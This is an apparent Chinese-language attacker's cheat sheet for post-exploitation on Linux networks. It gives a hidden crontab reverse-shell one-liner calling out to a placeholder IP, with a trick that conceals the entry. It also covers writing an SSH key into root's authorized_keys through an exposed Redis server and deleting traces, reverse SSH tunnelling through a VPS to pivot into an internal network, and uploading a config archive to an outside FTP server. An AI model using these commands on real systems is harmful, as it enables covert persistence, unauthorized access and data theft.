内网定时反弹:

(crontab -l;printf "* * * * * exec 9<> /dev/tcp/x.x.x.x/xx;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

上面反弹之后,在centos下面,如果没有监听shell的情况下,终端一直会有you have an email in /var/spool/root, 解决方法如下:

echo "unset MAILCHECK" >> ~/.bashrc

Redis写私钥

常规操作:

config get dir  //获取当前的目录, 默认: /usr/local/redis
config get dbfilename // 获取当前名字 默认: dump.rdb
config set dir /root/.ssh
config set dbfilename "authorized_keys"
set xx "\n\n pub_key\n\n"
save

之后拿到shell,然后再把dir和dbfilename改回来,顺便把known_hosts给删除掉。

redis查看部分key:

scan 1000 MATCH * COUNT 1000
get [key]

在某些redis集群里面,set xx会出现个err move的错误,因为是在另外一个节点设置了相同的键值,所以改一个完全不同的名字就可以了。

SSH隧道

实际测试,ssh隧道比ew隧道稳定,特别是在nmap端口扫描或者网络数据量比较大的情况,步骤是下面

A在内网,B是VPS,C是攻击者
B: socat -v tcp-listen:8080,fork tcp-connect:localhost:22
A: ssh -p 8080 -qngfNTR *:7777:localhost:22 root@B的vps -i id_rsa -vT  //把A主机的ssh端口反弹到B的7777端口,其中B的ssh端口是8080
C: ssh -p 7777 -qngfNTD 1080 A的用户@B的地址 -i id_rsa  //C可以是一个公网的地址,也可以是内网

第一步B先执行这个,说的是实际情况,实际情况内网存在防火墙,流量只能访问8080,所以第一步把8080端口的流量转发到22,然后内网的A主机再连接VPS的8080端口。

最后执行完,可以以C主机的1080作为socks5代理进入A的内网。

数据传输

tar -czvf /tmp/conf.tar.gz ./conf
curl -v -T conf.tar.gz ftp://ftp:passwd@ip
⬆︎TOP